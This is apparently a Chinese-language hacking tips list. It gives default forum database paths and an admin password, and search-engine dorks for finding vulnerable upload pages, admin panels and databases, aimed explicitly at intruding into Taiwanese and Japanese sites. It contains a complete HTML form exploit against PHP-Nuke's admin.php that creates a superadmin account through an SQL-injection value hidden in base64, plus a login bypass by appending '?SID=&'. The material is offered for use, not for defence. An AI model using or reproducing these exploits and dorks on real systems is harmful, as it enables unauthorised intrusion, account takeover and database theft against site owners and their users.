1.数据库的默认地址:bbs/data/dvbbs.mdb 或 bbs/data/dvbbs7.mdb ------bbs
默认密码漏洞: admin admin888
2.你要的网页的名称 inurl:asp ---------找ASP的网站
3.关键字:Powered By WEBBOY 后缀名: /upfile.asp ------------找上传网站漏洞
4.先打开“百度” http://www.baidu.com ; ------找网站后台
在搜索栏里面填入：网站后台管理系统 系统管理 企业信息 产品管理 会员管理 新闻管理 留言管理
然后点“搜索”
5.先去www.google.com
去搜索"images/admin"
网站FTP上的文件,
找台湾的站".tw/images/admin"
台湾的..我们要入侵的话,找它的数据库
如果想找文件的话就找地址...
6.检测日本网站关键字:
Copyright by All Rights Reserved "PHP Nuke" site:.jp 去网上去索吧!!!
成为管理员网页代码:
<body bgcolor="#000000">
<form name="mantra" mathod="POST" action="http://www.2cto.com /phpnuke/admin.php">
<p align="center"><b><font color="#FFFF00">USERNAME:
<input type="text" name="add_aid" size="20" value="Air_hacker">
NOME:<input type="text" name="add_name" size="20" value="12345">
PASSWORD: <input type="text" name="add pwd" size="20" value="12345">
E_mail:
<input type="text" name="add_email" size="20" value="admin@admin.com">
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<input type="hidden" name="add_radminsuper" value="1">
<input type="hidden" name="op" value="AddAuthor"></font></b></p>
<p align="center"><b><font color="#FFFF00">
<input type="submit" name="submit" value="Create Admin" style="font-family:
Comic Sans Ms; color=#FFFF00; font-weigh:bold; background-color:#000000">
</font></b>
</p>
</form>
<p align="center"><b><font size="5" color="#FFFFFF"> </font>
<font size ="5" color="#008000">msyvh</font></b></p>
<p align="center"><b><font size="4" color="#FFF000">My</font><font size="4"
color="#008000">blog: </font>
<font size="4" color="#ECE9D8">&</font>
<font size="4" color="#C0C0C0">noway</font></font></font></b></p>
<p align="center"><b><font size="5" color="#FFFFFF">
<font size="4" color="#C0C0C0">QQ:746616525</font>
<font size="4" color="#C0C0C0">you</font>
<font size="4" color="#C0C0C0">"Center寒"</font></b></p>
说明:将这代码保存为.html网页格式就可以了,这是成为后台管理员的代码!
7.找数据库的关键字: conn.inc ; dvbbs5.mdb ; news.mdb ; article.mdb
admin_data.mdb ; user.mdb ; admin.mdb
8.QQ代理公布器 2005 -----QQProxy 代理器这个代理器可以知代理速度!
9.关于KevinDL Ver 1.00 ------------PHP漏洞
[PHP+SQL]这个PHP程序漏洞利用
目标http://www.2cto.com
找到后台登录界面http://www.2cto.com /admin.php ;要密码!!!
绕过方法:在登录验证后面加上: ?SID=&
如http://www.2cto.com /admin.php?SID=&
